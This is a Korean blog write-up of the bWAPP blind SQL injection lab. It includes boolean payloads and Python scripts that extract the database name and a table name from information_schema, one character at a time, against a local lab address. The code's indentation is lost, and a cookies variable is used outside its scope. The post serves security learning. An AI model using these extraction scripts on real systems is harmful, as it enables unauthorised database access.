bwapp의 blind sql injection 실습 화면이다.
blind sql injection
blind sql injection은 sql injection 종류 중에 하나이며 sql injection에 대한 응답 값이 눈에 보이는 값으로 출력되는 것이 아닌 참과 거짓으로 출력되는 경우에 진행하는 공격이다.
일종의 스무고개라고 생각하면 된다. 공격자는 참과 거짓의 형태로 출력되는 결과를 확인하고 blind sql injection 공격을 수행한다.
공격자는 blind sql injection 으로 희생자의 데이터베이스 이름, 테이블 이름, 각 테이블의 컬럼 및 값을 알아낼 수 있다.
실습
입력란에 ' 을 입력 시 올바른 문법이 아니라며 error가 난다. sql injection 중에 error 기반의 sql injection이 있는데 이 공격으로도 활용이 가능할 듯 하다.
'a' 입력시 데이터베이스에 존재하지 않는 값이라고 출력이 된다.
1' or 1=2# 입력하여 거짓일 경우에 출력이 어떻게 되는지 확인하다. 위의 경우와 동일하게 존재하지 않는다고 출력된다.
그러면 이번에는 참일 경우를 입력한다. 1' or 1=1# 을 입력하였다.
데이터 베이스에 존재한다고 출력이 된다.
즉 있다 , 없다 ( 참 , 거짓) 형태로 결과가 출력된다.
이는 blind sql injection 공격 실행이 가능하다.
a or b and c 의 형태로 sql 구문을 입력하여 a or b 까지는 무조건 참으로 만들고 뒤에 c에 우리가 알고자하는 값을 찾기 위한 구문을 입력하면 된다.
a or b and c 의 c 부분에 length(database())=n 을 입력하여 데이터베이스의 길이가 n 이 맞는지 질의한다.
데이터 베이스 길이가 1은 아니었다. 수작업으로 하기에는 오래걸릴 수 있어서 python의 requests 모듈을 이용하여 자동으로 데이터 베이스의 길이를 알아내자.
burpsuite로 입력란을 전송시의 패킷을 잡았다. get 방식으로 title , action 파라미터를 넣어 요청을 한다.
해당 url을 참고하여 파이썬 소스코드를 작성한다.
import requests
def find_database_length():
n = 1
cookies = { 'security_level':'0','PHPSESSID':'fa753b417f633e5913e3fcc097ff74f6'}
while True:
sql = f"?title=1%27+or+1%3D1+and+length%28database%28%29%29%3D{n}%23&action=search"
url = 'http://192.168.98.134/bWAPP/sqli_4.php'+sql
response=requests.get(url, cookies=cookies)
if "exists" in response.text:
print(f"i find database length : {n}")
break
else:
n+=1
print(response.text)
return n
if __name__=="__main__":
find_database_length()
위와 같이 소스코드를 작성한다.
while 반복문을 이용하여 데이터 베이스의 길이를 찾는 코드를 반복 실행한다.
response의 text 값에 exists가 있으면 반복문을 탈출하고 몇 글자인지 출력을 한다.
해당 실습장에서 사용하는 데이터 베이스가 5글자 인것을 알았다.
철자가 어떻게 되는지 알아보자.
def find_database_name():
database=""
for j in range(1,6):
for i in range(65,123):
sql = f"?title=1%27+or+1%3D1+and+ascii%28substring%28database%28%29%2C{j}%2C1%29%29%3D{i}%23&action=search"
url = 'http://192.168.98.134/bWAPP/sqli_4.php'+sql
response = requests.get(url,cookies=cookies)
if "exists" in response.text:
database+=chr(i)
print(f"i find database name : {database}")
return database
if __name__=="__main__":
find_database_length()
find_database_name()
for문과 ascii를 이용하여 데이터베이스의 이름을 한글자씩 알아내자.
mysql의 substring() 함수도 사용된다.
substring() 함수는 substring( '문자열', [시작 위치 값] , [ 가져올 길이 수]) 형식으로 작성된다.
해당 소스코드를 실행하면 데이터베이스의 이름이 bWAPP이다.
-bWAPP 데이터베이스의 테이블 1개의 길이와 값을 알아보자.
def find_table_length():
for i in range(1,20):
sql = f"?title=1%27%20or%201%3D1%20and%20length%28%28select%20table_name%20from%20information_schema.tables%20where%20table_schema%3D%22bWAPP%22%20limit%200%2C1%29%29%3D{i}%23&action=search"
url = 'http://192.168.98.134/bWAPP/sqli_4.php'+sql
response = requests.get(url, cookies=cookies)
if "exists" in response.text:
print(f"i find table length : {i}")
break
return i
def find_table_name():
name = ""
for i in range(1,6):
for j in range(65,123):
sql = f"?title=1%27%20or%201%3D1%20and%20ascii%28substring%28%28select%20table_name%20from%20information_schema.tables%20where%20table_schema%3D%22bWAPP%22%20limit%200%2C1%29%2C{i}%2C1%29%29%3D{j}%23&action=search"
url = 'http://192.168.98.134/bWAPP/sqli_4.php'+sql
response = requests.get(url, cookies=cookies)
if "exists" in response.text:
name +=chr(j)
print(f"i find table name {name}")
break
return name
if __name__=="__main__":
find_database_length()
find_database_name()
find_table_length()
find_table_name()
소스코드는 위와 같다.
MYSQL에서의 information_schema 데이터베이스를 이용한다. information_schema에는 존재하는 데이터베이스와 테이블 , 테이블의 컬럼 등을 담고있는 데이터베이스이다.
information_schema ( 데이터 베이스) -> tables ( 여러 테이블 중의 하나) -> table_name( 테이블의 컬럼 중 하나)
이런식으로 접근을 하여 테이블의 길이와 값을 찾는다.
코드에서 언급한 table_schema 는 데이터베이스를 의미한다. mysql에서는 schema = 데이터베이스 이다.
즉 , 테이블이 속한 데이터베이스 를 의미한다.
소스코드를 실행하면 blog라는 테이블 이름이 출력된다.
실제 mysql를 살펴보면 bWAPP에 blog라는 테이블의 첫번재 줄에 존재한다.
information schema 구조
데이터베이스 ( information_schema) -> 테이블 ( tables, columns, charater_sets 등등 ) -> tables 테이블의 컬럼 ( table_schema , table_name, 등등)
위의 상황에선 blog라는 테이블 이름을 찾음
'웹 > 웹 해킹 문제 풀이' 카테고리의 다른 글
dreamhack write-up (0) | 2023.04.05 |
---|---|
dreamhack(devtools-sources) (0) | 2023.03.18 |
bwapp 실습 (XSS - Reflected (GET))_low (0) | 2023.03.02 |
bwapp 실습 (Cross-Site Scripting- Stored(blog))_low level (0) | 2023.03.02 |
bwapp 실습 (Broken Authentication - Insecure Login Forms)_medium level (0) | 2023.02.23 |